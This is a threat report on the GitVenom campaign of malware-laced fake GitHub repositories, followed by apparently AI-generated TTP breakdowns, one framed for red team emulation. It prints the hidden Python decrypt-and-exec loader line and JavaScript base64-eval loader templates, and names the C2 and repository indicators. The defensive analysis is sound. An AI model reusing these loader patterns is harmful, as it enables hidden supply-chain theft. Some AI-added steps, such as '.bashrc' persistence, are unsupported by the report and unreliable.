The GitVenom campaign: cryptocurrency theft using GitHub

  • ChatGPT paged: Each PDF page to text, then ChatGPT 4o (detailed)
  • Gemini 2.0: Full PDF with gemini-2.0-flash (8k output token limit)
  • Gemini 2.5: Full PDF with gemini-2.5-flash-preview-05-20 (65k output tokens limit)
  • Original: All text extracted from PDF

Original Text

The GitVenom campaign: cryptocurrency theft using GitHub Georgy Kucherin In our modern world, it’s difficult to underestimate the impact that open-source code has on software development. Over the years, the global community has managed to publish a tremendous number of projects with freely accessible code that can be viewed and enhanced by anyone on the planet. Very frequently, code published on the Internet serves as a source of inspiration for software developers – whenever they need to implement a project feature, they often check whether the code they need is already available online. This way, they avoid reinventing the wheel and thus save their precious time. With more and more open-source projects being published, both state-sponsored actors and cybercriminals started using freely available code as a lure to infect their targets. Of course, this trend shows no sign of slowing down as evidenced by a currently active campaign aimed at GitHub users that we dubbed GitVenom. Promise-filled yet fake projects Over the course of the GitVenom campaign, the threat actors behind it have created hundreds of repositories on GitHub that contain fake projects with malicious code – for example, an automation instrument for interacting with Instagram accounts, a Telegram bot allowing to manage Bitcoin wallets, and a hacking tool for the video game Valorant. Clearly, in designing these fake projects, the actors went to great lengths to make the repositories appear legitimate to potential targets. For instance, the malicious repositories we discovered contained well-designed README.md files, possibly generated using AI tools. We observed these files to contain information about the projects, as well as instructions on how to compile their code. Snippets of README.md pages with descriptions of fake projects In addition to that, the attackers added multiple tags to their repositories, as well as artificially inflated the number of commits made to them. To do that, they placed a timestamp file in these repositories, which was updated every few minutes: Example structure of a malicious repository Malicious code implanted in many ways While analyzing repositories created over the course of the GitVenom campaign, we noted that the fake projects we found were written in multiple programming languages – specifically Python, JavaScript, C, C++ and C#. As may be expected, these projects did not implement the features discussed in the README.md file, and their code mostly performed meaningless actions. At the same time, each of the projects was infected with malicious code, with its placement depending on the programming language used. For instance, the attackers placed malicious code in Python-based projects by inserting a long line in one of the project files. This line consisted of about 2,000 tab characters, followed by the following code, responsible for decrypting and executing a Python script: subprocess.run(['pip', 'install', 'cryptography'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL); subprocess.run(['pip', 'install', 'fernet'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL); from fernet import Fernet; import requests; exec(Fernet(b'')) In the case of projects coded in JavaScript, the attackers created a malicious function inside them, which was in turn invoked from the main file of the project. Below is an example of such a function: Example of a malicious function placed in JavaScript-based projects. It decodes a script from Base64 and executes it. As for repositories containing C, C++ and C# code, the attackers decided to hide a malicious batch script inside Visual Studio project files, configuring it to execute at project build time: Snippet from a malicious Visual Studio project file. It contains a PreBuildEvent attribute, which instructs the payload to execute at project build time. Further payloads deployed While coded in different programming languages, the malicious payloads stored inside the fake projects had the same goal – download further malicious components from an attacker-controlled GitHub repository (URL at the time of research: hxxps://github[.]com/Dipo17/battle) and execute them. These components were as follows: A Node.js stealer that collects information such as saved credentials, cryptocurrency wallet data and browsing history, packs it into a .7z archive and uploads it to the attackers via Telegram. Structure of the archive which the stealer sends to the attackers The open-source AsyncRAT implant (C2 server address: 138.68.81[.]155); The open-source Quasar backdoor (C2 server address: same as above) A clipboard hijacker, which searches the clipboard contents for cryptocurrency wallet addresses and replaces them with attacker-controlled ones. Notably, the attacker-controlled Bitcoin wallet ( ID: bc1qtxlz2m6r[...]yspzt) received a lump sum of about 5 BTC (approximately 485,000 USD at the time of research) in November 2024. Impact of the campaign While investigating malicious repositories related to the GitVenom campaign, we found several fake projects published two years ago. Given that the attackers have been luring victims with these projects for several years, the infection vector is likely quite efficient. In fact, based on our telemetry, infection attempts related to GitVenom have been observed worldwide, with the highest number of them being in Russia, Brazil and Turkey. We expect these attempts to continue in the future, possibly with small changes in the TTPs. Blindly running code from GitHub can be detrimental As code-sharing platforms such as GitHub are used by millions of developers worldwide, threat actors will certainly continue using fake software as an infection lure. For that reason, it is crucial to handle processing of third-party code very carefully. Before attempting to run such code or integrate it into an existing project, it is paramount to thoroughly check what actions it performs. This way, it will be very easy to spot fake projects and prevent malicious code placed in them from being used to compromise the development environment. Reference hashes for infected repository archives 63739e000601afde38570bfb9c8ba589 (06d0d13a4ce73775cf94a4a4f2314490de1d5b9af12db8ba9b01cd14222a2756) 3684907e595cd04bf30b27d21580a7c6 (bd44a831ecf463756e106668ac877c6b66a2c0b954d13d6f311800e75e9c6678)

Original Text ChatGPT 4o Paged

The GitVenom campaign: cryptocurrency theft using GitHub Georgy Kucherin In our modern world, it’s difficult to underestimate the impact that open-source code has on software development. Over the years, the global community has managed to publish a tremendous number of projects with freely accessible code that can be viewed and enhanced by anyone on the planet. Very frequently, code published on the Internet serves as a source of inspiration for software developers – whenever they need to implement a project feature, they often check whether the code they need is already available online. This way, they avoid reinventing the wheel and thus save their precious time. With more and more open-source projects being published, both state-sponsored actors and cybercriminals started using freely available code as a lure to infect their targets. Of course, this trend shows no sign of slowing down as evidenced by a currently active campaign aimed at GitHub users that we dubbed GitVenom. Promise-filled yet fake projects Over the course of the GitVenom campaign, the threat actors behind it have created hundreds of repositories on GitHub that contain fake projects with malicious code – for example, an automation instrument for interacting with Instagram accounts, a Telegram bot allowing to manage Bitcoin wallets, and a hacking tool for the video game Valorant. Clearly, in designing these fake projects, the actors went to great lengths to make the repositories appear legitimate to potential targets. For instance, the malicious repositories we discovered contained well-designed README.md files, possibly generated using AI tools. We observed these files to contain information about the projects, as well as instructions on how to compile their code. Snippets of README.md pages with descriptions of fake projects In addition to that, the attackers added multiple tags to their repositories, as well as artificially inflated the number of commits made to them. To do that, they placed a timestamp file in these repositories, which was updated every few minutes:

Phase: Initial Access

  • Technique: Supply Chain Compromise
  • Procedure: Threat actors create fake GitHub repositories with malicious projects to lure developers.

Phase: Execution

  • Technique: Malicious Script Execution
  • Procedure: Developers compile and execute the downloaded code from GitHub, unknowingly running embedded malicious scripts within the projects.

Phase: Persistence

  • Technique: Repository Modification
  • Procedure: Attackers maintain and update repositories by placing a timestamp file that updates every few minutes, making the project appear active and undergoing frequent changes.

Phase: Defense Evasion

  • Technique: Obfuscated Code
  • Procedure: Malicious code embedded in projects is possibly disguised and integrated within legitimate-looking instructions and scripts.

Phase: Credential Access

  • Technique: Credential Harvesting via Fake Tools
  • Procedure: Scripts and tools within fake projects, such as a Telegram bot manager for Bitcoin wallets, are used to capture sensitive information and credentials entered by the victim.

Example structure of a malicious repository Malicious code implanted in many ways While analyzing repositories created over the course of the GitVenom campaign, we noted that the fake projects we found were written in multiple programming languages – specifically Python, JavaScript, C, C++ and C#. As may be expected, these projects did not implement the features discussed in the README.md file, and their code mostly performed meaningless actions. At the same time, each of the projects was infected with malicious code, with its placement depending on the programming language used. For instance, the attackers placed malicious code in Python-based projects by inserting a long line in one of the project files. This line consisted of about 2,000 tab characters, followed by the following code, responsible for decrypting and executing a Python script: subprocess.run(['pip', 'install', 'cryptography'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL); subprocess.run(['pip', 'install', 'fernet'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL); from fernet import Fernet; import requests; exec(Fernet(b'')) In the case of projects coded in JavaScript, the attackers created a malicious function inside them, which was in turn invoked from the main file of the project. Below is an example of such a function: Example of a malicious function placed in JavaScript-based projects. It decodes a script from Base64 and executes it.

Phase: Code Injection

  • Technique: Code Obfuscation and Execution (Python)
  • Procedure: Inserted a long line of tab characters followed by code to decrypt and execute a Python script.
  • Command: python subprocess.run(['pip', 'install', 'cryptography'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL); subprocess.run(['pip', 'install', 'fernet'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL); from fernet import Fernet; import requests; exec(Fernet(b'<encrypted malicious Python script>'))

  • Technique: Malicious Function Injection (JavaScript)

  • Procedure: Created and invoked a malicious function to decode and execute a Base64-encoded script.
  • Example Function: javascript function maliciousFunction() { const encodedScript = '<Base64 encoded script>'; const decodedScript = Buffer.from(encodedScript, 'base64').toString('utf-8'); eval(decodedScript); } // Call to the malicious function from the main file maliciousFunction();

As for repositories containing C, C++ and C# code, the attackers decided to hide a malicious batch script inside Visual Studio project files, configuring it to execute at project build time: Snippet from a malicious Visual Studio project file. It contains a PreBuildEvent attribute, which instructs the payload to execute at project build time. Further payloads deployed While coded in different programming languages, the malicious payloads stored inside the fake projects had the same goal – download further malicious components from an attacker-controlled GitHub repository (URL at the time of research: hxxps://github[.]com/Dipo17/battle) and execute them. These components were as follows: A Node.js stealer that collects information such as saved credentials, cryptocurrency wallet data and browsing history, packs it into a .7z archive and uploads it to the attackers via Telegram. Structure of the archive which the stealer sends to the attackers The open-source AsyncRAT implant (C2 server address: 138.68.81[.]155); The open-source Quasar backdoor (C2 server address: same as above) A clipboard hijacker, which searches the clipboard contents for cryptocurrency wallet addresses and replaces them with attacker-controlled ones. Notably, the attacker-controlled Bitcoin wallet ( ID: bc1qtxlz2m6r[...]yspzt) received a lump sum of about 5 BTC (approximately 485,000 USD at the time of research) in November 2024. Impact of the campaign

Phase: Initial Access

  • Technique: Malicious Batch Script in Visual Studio Project
  • Procedure: The attacker hides a malicious batch script inside Visual Studio project files using the PreBuildEvent attribute to execute the payload at project build time.

Phase: Execution

  • Technique: Script Execution via PreBuildEvent
  • Procedure: Automatically executes malicious scripts during the build process of a Visual Studio project, leveraging the PreBuildEvent to run the script unnoticed.

Phase: Delivery of Additional Payloads

  • Technique: Download and Execute from Remote Repository
  • Procedure: The payloads are downloaded from an attacker-controlled GitHub repository and executed. These include different components, such as:

  • Node.js Stealer:

    • Function: Collects information like saved credentials, cryptocurrency wallet data, and browsing history, then packs it into a .7z archive.
    • Exfiltration Method: Uploads the archive via Telegram.
  • AsyncRAT Implant:

    • Function: Enables remote control over the infected machine.
  • Quasar Backdoor:

    • Function: Provides persistent access and control over the target machine.

Phase: Impact

  • Technique: Clipboard Hijacking
  • Procedure: Searches for cryptocurrency wallet addresses in the clipboard and replaces them with attacker-controlled addresses, resulting in a significant financial gain for the attackers.

While investigating malicious repositories related to the GitVenom campaign, we found several fake projects published two years ago. Given that the attackers have been luring victims with these projects for several years, the infection vector is likely quite efficient. In fact, based on our telemetry, infection attempts related to GitVenom have been observed worldwide, with the highest number of them being in Russia, Brazil and Turkey. We expect these attempts to continue in the future, possibly with small changes in the TTPs. Blindly running code from GitHub can be detrimental As code-sharing platforms such as GitHub are used by millions of developers worldwide, threat actors will certainly continue using fake software as an infection lure. For that reason, it is crucial to handle processing of third-party code very carefully. Before attempting to run such code or integrate it into an existing project, it is paramount to thoroughly check what actions it performs. This way, it will be very easy to spot fake projects and prevent malicious code placed in them from being used to compromise the development environment. Reference hashes for infected repository archives 63739e000601afde38570bfb9c8ba589 (06d0d13a4ce73775cf94a4a4f2314490de1d5b9af12db8ba9b01cd14222a2756) 3684907e595cd04bf30b27d21580a7c6 (bd44a831ecf463756e106668ac877c6b66a2c0b954d13d6f311800e75e9c6678)

Phase: Initial Access

  • Technique: Social Engineering via Malicious Repository
  • Procedure: Threat actor publishes fake projects on GitHub to lure developers into cloning and executing malicious code.

Phase: Execution

  • Technique: Script Execution from Cloned Repositories
  • Procedure: Developers, after cloning the repository, unknowingly execute scripts embedded within the project files.

Phase: Persistence

  • Technique: Modification of Startup Scripts
  • Likely Command: Modify bash or shell startup scripts (e.g., .bashrc, .bash_profile) to include execution of malicious scripts.

Phase: Defense Evasion

  • Technique: Obfuscated Code
  • Procedure: Use of obfuscated scripts within the repository to hide malicious intent from casual inspection.

Phase: Impact

  • Technique: Compromise of Development Environment
  • Procedure: Malicious scripts aim to manipulate the development environment, potentially altering source code or stealing credentials.
Gemini 2.0

Model: gemini-2.0-flash

Here is a structured breakdown of the GitVenom campaign TTPs based on the provided text:

Phase: Initial Infection

  • Technique: Open-Source Lure via GitHub Repositories
  • Procedure: Create fake projects on GitHub with well-designed README.md files (possibly AI-generated) to appear legitimate. Inflate the number of commits artificially by updating timestamp files frequently.

Phase: Execution

  • Technique: Python Script Execution with Decryption
  • Procedure: Insert a long line (2000+ tabs) in a Python file, followed by code responsible for decrypting and executing a Python script.
  • Commands: subprocess.run(['pip', 'install', 'cryptography'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) subprocess.run(['pip', 'install', 'fernet'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) from fernet import Fernet import requests exec(Fernet(b'<encrypted malicious Python script>'))
  • Technique: JavaScript Execution with Base64 Decoding
  • Procedure: Create a malicious function inside a JavaScript file that decodes a script from Base64 and executes it using eval().
  • Commands (Inferred): javascript function sms() { const smsbypass = Buffer.from(smsfuncplus, 'base64').toString('utf-8'); eval (smsbypass); } sms()

  • Technique: Batch Script Execution via Visual Studio Project

  • Procedure: Hide a malicious batch script inside Visual Studio project files and configure it to execute at project build time via the PreBuildEvent attribute.

Phase: Payload Deployment

  • Technique: Secondary Payload Download and Execution
  • Procedure: Download further malicious components from an attacker-controlled GitHub repository and execute them.
  • Components:
    • Node.js stealer (credentials, cryptocurrency wallet data, browsing history)
    • AsyncRAT implant
    • Quasar backdoor
    • Clipboard hijacker for cryptocurrency wallet addresses

Phase: Actions on Objectives

  • Technique: Data Exfiltration via Telegram
  • Procedure: The Node.js stealer collects user data, packs it into a .7z archive, and uploads it to the attackers via Telegram.
  • Technique: Cryptocurrency Theft via Clipboard Hijacking
  • Procedure: The clipboard hijacker replaces cryptocurrency wallet addresses with attacker-controlled addresses, facilitating theft.
Gemini 2.5

Model: gemini-2.5-flash-preview-05-20

Here are the procedures used by the threat actor, structured for red team emulation:

Phase: Initial Access & Deception

  • Technique: Compromised Open-Source Repositories / Social Engineering
    • Procedure: Threat actors create fake GitHub repositories masquerading as legitimate projects (e.g., Instagram automation, Telegram Bitcoin bot, Valorant hacking tool).
    • Procedure: Repositories include well-designed README.md files with project descriptions and instructions for compilation.
    • Procedure: Attacker inflates commit numbers and activity by frequently updating a timestamp file within the repository.

Phase: Execution (Initial Payload Deployment)

  • Technique: Dynamic Code Execution (Python)
    • Procedure: Malicious Python code is hidden within project files, obfuscated by a long sequence of tab characters.
    • Command: subprocess.run(['pip', 'install', 'cryptography'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    • Command: subprocess.run(['pip', 'install', 'fernet'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    • Command: from fernet import Fernet; import requests;
    • Command: exec(Fernet(b'<encrypted malicious Python script>')) (executes the decrypted Python script)
  • Technique: Dynamic Code Execution (JavaScript)
    • Procedure: A malicious JavaScript function (e.g., sms()) is embedded within project files and invoked from the main application.
    • Command: Buffer.from(<base64_encoded_string>, 'base64').toString('utf-8') (Decodes an obfuscated Base64 string into plaintext JavaScript)
    • Command: eval(<decoded_javascript_code>) (Executes the decoded JavaScript code)
  • Technique: Custom Build Step Execution (C, C++, C# via Visual Studio)
    • Procedure: A malicious batch script is embedded within Visual Studio project files, configured to execute during the project build process using the PreBuildEvent attribute.
    • Command (within PreBuildEvent): @echo off
    • Command (within PreBuildEvent): setlocal
    • Command (within PreBuildEvent): set "base64Data=<truncated_base64_string_representing_a_function_or_script>" (This implies further decoding and execution of the data)

Phase: Payload Delivery & Secondary Execution

  • Technique: Staged Payload Delivery / External Remote Services
    • Procedure: The initial malicious code downloads further malicious components from a remote GitHub repository controlled by the attacker. (Specific download command depends on the first-stage payload's capabilities, e.g., using curl, wget, or internal libraries).
  • Technique: Remote Access Trojan Deployment
    • Tool: AsyncRAT implant
    • Procedure: Executes AsyncRAT for remote control and command execution.
    • Tool: Quasar backdoor
    • Procedure: Executes Quasar backdoor for remote control and command execution.
  • Technique: Data Stealing
    • Tool: Node.js stealer
    • Procedure: Executes Node.js stealer to collect sensitive information including saved credentials, cryptocurrency wallet data, and browsing history.
    • Procedure: The stealer compresses collected data into a .7z archive.
    • Procedure: The stealer uploads the .7z archive to the attackers via Telegram (implies interaction with Telegram API).
  • Technique: Cryptocurrency Wallet Hijacking
    • Tool: Clipboard hijacker
    • Procedure: Executes a clipboard hijacker that continuously monitors clipboard contents.
    • Procedure: When a cryptocurrency wallet address is detected in the clipboard, the hijacker automatically replaces it with an attacker-controlled wallet address.